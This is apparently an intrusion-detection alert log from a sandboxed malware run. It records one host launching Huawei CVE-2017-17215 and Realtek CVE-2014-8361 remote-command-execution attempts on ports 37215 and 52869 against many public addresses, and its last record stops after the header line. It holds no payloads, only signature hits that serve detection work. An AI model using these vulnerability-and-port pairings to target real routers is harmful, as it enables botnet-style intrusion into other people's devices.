ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 14.98.48.248

Timestamp:	07/20/24-23:05:52.269606
SID:	2829579
Source Port:	42908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.11.182.124

Timestamp:	07/20/24-23:05:46.982251
SID:	2835222
Source Port:	34480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 65.195.221.85

Timestamp:	07/20/24-23:05:56.905634
SID:	2025132
Source Port:	52382
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 187.150.149.148

Timestamp:	07/20/24-23:05:47.371297
SID:	2025132
Source Port:	51580
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 106.230.52.243

Timestamp:	07/20/24-23:05:54.794021
SID:	2025132
Source Port:	41630
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.248.194.40

Timestamp:	07/20/24-23:05:47.534849
SID:	2835222
Source Port:	47602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.189.155.19

Timestamp:	07/20/24-23:05:46.918113
SID:	2829579
Source Port:	54418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 187.150.149.148

Timestamp:	07/20/24-23:05:47.371297
SID:	2027339
Source Port:	51580
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 147.233.201.83

Timestamp:	07/20/24-23:05:46.971186
SID:	2835222
Source Port:	32784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 206.65.197.101

Timestamp:	07/20/24-23:05:46.907723
SID:	2835222
Source Port:	39096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.248.18.125

Timestamp:	07/20/24-23:05:46.978420
SID:	2829579
Source Port:	57202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 62.80.115.9

Timestamp:	07/20/24-23:05:51.428628
SID:	2831300
Source Port:	34772
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 54.79.20.157

Timestamp:	07/20/24-23:05:46.757135
SID:	2025132
Source Port:	53984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 196.5.188.187

Timestamp:	07/20/24-23:05:51.487087
SID:	2831300
Source Port:	50738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.233.21.101

Timestamp:	07/20/24-23:05:46.961659
SID:	2835222
Source Port:	34862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 196.5.188.187

Timestamp:	07/20/24-23:05:47.473512
SID:	2027339
Source Port:	50094
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 155.180.4.142

Timestamp:	07/20/24-23:05:46.419288
SID:	2027339
Source Port:	49928
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 221.3.242.5

Timestamp:	07/20/24-23:05:46.816823
SID:	2027339
Source Port:	39428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 220.228.19.141

Timestamp:	07/20/24-23:05:56.825737
SID:	2027339
Source Port:	34368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 54.82.97.176

Timestamp:	07/20/24-23:05:51.492271
SID:	2027339
Source Port:	44096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 170.116.196.80

Timestamp:	07/20/24-23:05:54.837058
SID:	2027339
Source Port:	34442
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 134.55.152.47

Timestamp:	07/20/24-23:05:51.419963
SID:	2831300
Source Port:	49718
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 124.96.161.46

Timestamp:	07/20/24-23:05:52.251312
SID:	2835222
Source Port:	47892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.123.171.135

Timestamp:	07/20/24-23:05:52.198545
SID:	2835222
Source Port:	40232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 201.205.132.204

Timestamp:	07/20/24-23:05:46.982798
SID:	2835222
Source Port:	53706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 221.37.81.113

Timestamp:	07/20/24-23:05:46.454400
SID:	2027339
Source Port:	60120
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.193.109.166

Timestamp:	07/20/24-23:05:52.192507
SID:	2835222
Source Port:	53562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.66.96.178

Timestamp:	07/20/24-23:05:46.971186
SID:	2829579
Source Port:	50980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 103.1.126.231

Timestamp:	07/20/24-23:05:51.419676
SID:	2027339
Source Port:	60494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 150.159.12.246

Timestamp:	07/20/24-23:05:47.535868
SID:	2835222
Source Port:	55710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 97.109.184.0

Timestamp:	07/20/24-23:05:52.251312
SID:	2835222
Source Port:	52090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 44.60.208.210

Timestamp:	07/20/24-23:05:46.539309
SID:	2027339
Source Port:	59598
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.212.97.34

Timestamp:	07/20/24-23:05:46.976752
SID:	2829579
Source Port:	36052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 204.151.222.243

Timestamp:	07/20/24-23:05:51.423445
SID:	2027339
Source Port:	49614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 97.127.217.219

Timestamp:	07/20/24-23:05:51.431946
SID:	2027339
Source Port:	54984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 14.71.252.128

Timestamp:	07/20/24-23:05:52.247739
SID:	2835222
Source Port:	53684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.42.25.100

Timestamp:	07/20/24-23:05:47.535438
SID:	2829579
Source Port:	57804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 101.165.109.42

Timestamp:	07/20/24-23:05:54.215956
SID:	2025132
Source Port:	44024
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.190.1.154

Timestamp:	07/20/24-23:05:52.212387
SID:	2835222
Source Port:	43500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 105.53.62.168

Timestamp:	07/20/24-23:05:52.212387
SID:	2829579
Source Port:	39486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.84.213.46

Timestamp:	07/20/24-23:05:46.975762
SID:	2829579
Source Port:	37188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.250.31.164

Timestamp:	07/20/24-23:05:47.534849
SID:	2829579
Source Port:	33426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 220.228.19.141

Timestamp:	07/20/24-23:05:56.825737
SID:	2025132
Source Port:	34368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.77.35.15

Timestamp:	07/20/24-23:05:46.915618
SID:	2829579
Source Port:	39392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 12.193.234.170

Timestamp:	07/20/24-23:05:46.907723
SID:	2829579
Source Port:	48936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 198.139.127.65

Timestamp:	07/20/24-23:05:51.487087
SID:	2027339
Source Port:	50918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 106.230.52.243

Timestamp:	07/20/24-23:05:54.794021
SID:	2027339
Source Port:	41630
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 159.113.67.133

Timestamp:	07/20/24-23:05:46.529020
SID:	2025132
Source Port:	60618
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.107.121.109

Timestamp:	07/20/24-23:05:52.311536
SID:	2829579
Source Port:	51044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 155.180.4.142

Timestamp:	07/20/24-23:05:46.419288
SID:	2025132
Source Port:	49928
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 221.3.242.5

Timestamp:	07/20/24-23:05:46.816823
SID:	2025132
Source Port:	39428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 213.105.255.191

Timestamp:	07/20/24-23:05:47.494344
SID:	2027339
Source Port:	43258
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 191.248.177.130

Timestamp:	07/20/24-23:05:46.770868
SID:	2027339
Source Port:	51450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 79.205.6.73

Timestamp:	07/20/24-23:05:46.555942
SID:	2027339
Source Port:	56096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.116.32.17

Timestamp:	07/20/24-23:05:52.264315
SID:	2835222
Source Port:	48834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 73.245.214.213

Timestamp:	07/20/24-23:05:46.973669
SID:	2829579
Source Port:	33506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 102.46.199.20

Timestamp:	07/20/24-23:05:51.423445
SID:	2027339
Source Port:	50056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.218.98.239

Timestamp:	07/20/24-23:05:47.533385
SID:	2829579
Source Port:	46660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.139.123.50

Timestamp:	07/20/24-23:05:46.967760
SID:	2829579
Source Port:	50316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 45.172.31.176

Timestamp:	07/20/24-23:05:46.978420
SID:	2829579
Source Port:	56012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.141.104.84

Timestamp:	07/20/24-23:05:52.179209
SID:	2835222
Source Port:	45986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 170.116.196.80

Timestamp:	07/20/24-23:05:54.837058
SID:	2025132
Source Port:	34442
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.219.104.62

Timestamp:	07/20/24-23:05:52.265126
SID:	2829579
Source Port:	33666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 38.62.106.95

Timestamp:	07/20/24-23:05:54.784048
SID:	2027339
Source Port:	47050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 81.130.219.80

Timestamp:	07/20/24-23:05:51.431946
SID:	2831300
Source Port:	38496
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 2.151.18.206

Timestamp:	07/20/24-23:05:51.441209
SID:	2831300
Source Port:	38238
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 213.42.125.74

Timestamp:	07/20/24-23:05:52.256968
SID:	2835222
Source Port:	34232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.131.211.75

Timestamp:	07/20/24-23:05:52.258489
SID:	2835222
Source Port:	32958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 221.37.81.113

Timestamp:	07/20/24-23:05:46.454400
SID:	2025132
Source Port:	60120
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 137.36.77.53

Timestamp:	07/20/24-23:05:51.419963
SID:	2027339
Source Port:	56680
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.201.153.177

Timestamp:	07/20/24-23:05:52.218581
SID:	2829579
Source Port:	37862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 44.60.208.210

Timestamp:	07/20/24-23:05:46.539309
SID:	2025132
Source Port:	59598
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.199.184.127

Timestamp:	07/20/24-23:05:46.981573
SID:	2835222
Source Port:	60188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.118.39.51

Timestamp:	07/20/24-23:05:52.214853
SID:	2835222
Source Port:	38654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 66.56.180.47

Timestamp:	07/20/24-23:05:46.364218
SID:	2025132
Source Port:	59752
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 213.105.255.191

Timestamp:	07/20/24-23:05:47.494344
SID:	2025132
Source Port:	43258
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 171.175.125.48

Timestamp:	07/20/24-23:05:51.418934
SID:	2027339
Source Port:	44836
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.113.145.203

Timestamp:	07/20/24-23:05:47.533322
SID:	2829579
Source Port:	36628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 187.150.149.148

Timestamp:	07/20/24-23:05:51.498918
SID:	2831300
Source Port:	52280
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.17.61.246

Timestamp:	07/20/24-23:05:47.534459
SID:	2829579
Source Port:	51370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 116.152.21.19

Timestamp:	07/20/24-23:05:51.421136
SID:	2831300
Source Port:	49992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 79.205.6.73

Timestamp:	07/20/24-23:05:46.555942
SID:	2025132
Source Port:	56096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 72.17.189.116

Timestamp:	07/20/24-23:05:51.441209
SID:	2831300
Source Port:	52340
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 46.90.90.254

Timestamp:	07/20/24-23:05:52.264315
SID:	2835222
Source Port:	35434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.107.248.38

Timestamp:	07/20/24-23:05:46.976752
SID:	2829579
Source Port:	38140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.64.154.239

Timestamp:	07/20/24-23:05:46.907723
SID:	2835222
Source Port:	54436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 49.95.69.134

Timestamp:	07/20/24-23:05:46.390586
SID:	2025132
Source Port:	54564
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.243.231.210

Timestamp:	07/20/24-23:05:52.247739
SID:	2829579
Source Port:	43060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 211.173.199.71

Timestamp:	07/20/24-23:05:52.212387
SID:	2835222
Source Port:	56886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 44.187.248.15

Timestamp:	07/20/24-23:05:47.498390
SID:	2027339
Source Port:	36184
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 54.54.215.85

Timestamp:	07/20/24-23:05:51.418278
SID:	2027339
Source Port:	33600
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 218.45.227.32

Timestamp:	07/20/24-23:05:51.427522
SID:	2027339
Source Port:	54622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 38.62.106.95

Timestamp:	07/20/24-23:05:54.784048
SID:	2025132
Source Port:	47050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 106.225.80.214

Timestamp:	07/20/24-23:05:51.421877
SID:	2831300
Source Port:	56524
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.79.45.83

Timestamp:	07/20/24-23:05:52.192507
SID:	2835222
Source Port:	40328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.155.232.222

Timestamp:	07/20/24-23:05:52.199166
SID:	2835222
Source Port:	57060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.149.252.54

Timestamp:	07/20/24-23:05:46.982251
SID:	2829579
Source Port:	35096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 151.128.221.242

Timestamp:	07/20/24-23:05:46.991466
SID:	2829579
Source Port:	32794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.153.15.83

Timestamp:	07/20/24-23:05:52.229226
SID:	2829579
Source Port:	44684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.215.207.96

Timestamp:	07/20/24-23:05:47.533810
SID:	2829579
Source Port:	58838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 159.113.67.133

